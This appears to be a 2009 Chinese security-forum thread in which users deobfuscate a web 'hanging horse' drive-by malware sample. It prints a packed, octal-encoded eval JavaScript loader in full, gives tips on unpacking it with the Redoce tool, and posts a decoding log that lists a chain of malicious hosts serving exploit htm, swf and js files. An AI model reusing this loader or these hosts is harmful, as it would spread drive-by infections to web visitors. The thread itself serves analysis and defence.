恶意挂马 (被挂。by IllusionWing)

IllusionWing

问题我不是初学者诶，我也解不出来不该膜拜么

daxiaoS

我是小白，对网页代码一无所知，最近有兴趣看看，困难很多啊

wevol

fantrasive

详细点好么，redoce显示eval解密错误

hj5abc

幸福猪猪的第一段代码，redoce eval清除没问题。
只是还没到猪猪第一段代码，中间这个，这么怎么弄？

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(newRegExp('\\b'+e(c)+'\\b','g'),k[c])}}returnp}('U("\\z\\3\\5\\7\\h\\1\\3\\o\\1\\5\\2\\l\\P\\1\\8\\C\\i\\6\\b\\a\\4\\4\\4\\4\\2\\7\\8\\7\\g\\0\\9\\2\\l\\o\\V\\i\\y\\K\\K\\A\\D\\J\\C\\B\\G\\E\\C\\Q\\B\\M\\D\\G\\A\\B\\A\\C\\G\\y\\B\\A\\J\\I\\E\\N\\N\\C\\F\\M\\J\\D\\E\\g\\6\\b\\a\\2\\1\\1\\1\\7\\8\\7\\g\\y\\i\\y\\i\\g\\6\\b\\a\\2\\3\\3\\3\\7\\8\\g\\L\\w\\y\\g\\6\\b\\a\\2\\r\\r\\r\\7\\8\\g\\i\\y\\i\\g\\6\\b\\a\\h\\3\\8\\g\\L\\w\\g\\6\\b\\a\\2\\q\\q\\q\\7\\8\\7\\2\\3\\3\\3\\7\\n\\7\\2\\r\\r\\r\\7\\n\\7\\h\\3\\7\\n\\7\\2\\1\\1\\1\\6\\b\\a\\z\\3\\5\\7\\o\\3\\2\\h\\1\\9\\9\\8\\2\\n\\w\\6\\b\\a\\z\\3\\5\\7\\c\\d\\f\\4\\5\\c\\8\\w\\p\\1\\2\\0\\3\\v\\1\\u\\2\\q\\q\\q\\t\\6\\b\\a\\z\\3\\5\\7\\2\\9\\3\\0\\r\\2\\v\\3\\0\\1\\8\\h\\1\\3\\o\\1\\5\\2\\l\\P\\1\\n\\o\\3\\2\\h\\1\\9\\9\\k\\9\\1\\p\\j\\e\\h\\6\\b\\a\\s\\h\\l\\9\\1\\u\\c\\d\\f\\4\\5\\c\\k\\9\\1\\p\\j\\e\\h\\H\\2\\9\\3\\0\\r\\2\\v\\3\\0\\1\\t\\7\\c\\d\\f\\4\\5\\c\\n\\8\\c\\d\\f\\4\\5\\c\\6\\b\\a\\4\\O\\d\\f\\4\\5\\8\\c\\d\\f\\4\\5\\c\\k\\2\\w\\4\\2\\e\\5\\l\\p\\j\\u\\i\\T\\2\\9\\3\\0\\r\\2\\v\\3\\0\\1\\t\\6\\b\\a\\s\\m\\2\\0\\0\\0\\0\\0\\0\\j\\8\\c\\d\\f\\4\\5\\c\\k\\2\\w\\4\\2\\e\\5\\l\\p\\j\\u\\i\\T\\c\\d\\f\\4\\5\\c\\k\\9\\1\\p\\j\\e\\h\\B\\2\\9\\3\\0\\r\\2\\v\\3\\0\\1\\t\\6\\b\\a\\s\\h\\l\\9\\1\\u\\s\\m\\2\\0\\0\\0\\0\\0\\0\\j\\k\\9\\1\\p\\j\\e\\h\\n\\2\\9\\3\\0\\r\\2\\v\\3\\0\\1\\H\\i\\q\\I\\i\\i\\i\\i\\t\\7\\s\\m\\2\\0\\0\\0\\0\\0\\0\\j\\8\\s\\m\\2\\0\\0\\0\\0\\0\\0\\j\\n\\s\\m\\2\\0\\0\\0\\0\\0\\0\\j\\n\\4\\O\\d\\f\\4\\5\\6\\b\\a\\d\\1\\d\\c\\5\\f\\8\\p\\1\\s\\7\\A\\5\\5\\3\\f\\u\\t\\6\\b\\a\\S\\c\\5\\u\\q\\8\\i\\6\\q\\H\\I\\i\\i\\6\\q\\n\\n\\t\\7\\d\\1\\d\\c\\5\\f\\Y\\q\\Z\\8\\s\\m\\2\\0\\0\\0\\0\\0\\0\\j\\n\\o\\3\\2\\h\\1\\9\\9\\6\\b\\a\\z\\3\\5\\7\\d\\f\\x\\4\\m\\1\\0\\e\\8\\o\\c\\0\\w\\d\\1\\p\\e\\k\\0\\5\\1\\3\\e\\1\\Q\\9\\1\\d\\1\\p\\e\\u\\g\\c\\4\\m\\1\\0\\e\\g\\t\\6\\b\\a\\F\\l\\z\\X\\F\\k\\3\\v\\v\\1\\p\\o\\D\\h\\l\\9\\o\\u\\d\\f\\x\\4\\m\\1\\0\\e\\t\\6\\b\\a\\d\\f\\x\\4\\m\\1\\0\\e\\k\\s\\l\\o\\e\\h\\8\\g\\R\\g\\6\\b\\a\\d\\f\\x\\4\\m\\1\\0\\e\\k\\h\\1\\l\\j\\h\\e\\8\\g\\R\\g\\6\\b\\a\\d\\f\\x\\4\\m\\1\\0\\e\\k\\o\\3\\e\\3\\8\\g\\k\\W\\9\\c\\j\\c\\k\\j\\l\\S\\g\\6\\b\\a\\d\\f\\x\\4\\m\\1\\0\\e\\k\\0\\9\\3\\2\\2\\l\\o\\8\\4\\4\\4\\4\\2\\6")',62,62,'143|145|163|141|142|162|73|40|75|154|12|15|157|155|164|171|47|150|60|147|56|151|152|53|144|156|170|153|167|51|50|160|165|117|71|166|101|55|62|103|106|104|102|74|63|66|65|45|64|67|132|172|105|61|146|54|eval|72|57|111|133|135'.split('|'),0,{}))

幸福的猪猪

清除空格的诀窍：

选择在代码开头处，删除空格。是最为行之有效的方法。要是eval 清除还是显示错误信息的朋友，可以试试我这个方法。（eval(function(p,a,c,k,e,d)  代码开头处

（在开头处，我只用了两次删除选中字符，接着使用eval 清除。代码顺利得出，没有显示错误信息。）

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('A 1=2O;A s=1

上面那段代码，红色标记的地方，好像必须有个空格似的。要是不然，eval 清除就会失败。

[ 本帖最后由 幸福的猪猪 于 2009-8-20 16:19 编辑 ]

Micropoint

网速好了不少
关于:hxxp://count.count.xj.cn/images/images/1.css解密的日志(全体输出 -  13):

Level  0>http://count.count.xj.cn/images/images/1.css
Level  1>http://xj.count.xj.cn/images/images/mepeg.htm
Level  2>http://xj.count.xj.cn/images/images/dj1.swf
Level  2>http://xj.count.xj.cn/images/images/dj.swf
Level  3>http://0o0o0o.8866.org/images/images/js.js
Level  1>http://xj.count.xj.cn/images/images/ff.htm
Level  2>http://xj.count.xj.cn/images/images/s+qq280095950
Level  2>http://xj.count.xj.cn/images/images/go.swf
Level  3>http://0o0o0o.8866.org/images/images/js.js
Level  1>http://xj.count.xj.cn/images/images/of.htm
Level  2>http://xj.count.xj.cn/images/images/of.swf
Level  3>http://0o0o0o.8866.org/images/images/js.js
Level  1>http://xj.count.xj.cn/images/images/tj.htm

日志由 Redoce2.0第33次修正版于 2009-8-20 16:08:53 生成。

Micropoint

第一次见八进制加密，我竟然会解

IllusionWing

我想C了

Micropoint

那几个SWF我是用迅雷下载回来的（每秒几字节的速度）
用记事本打开将代码复制到redoce里竟然不能解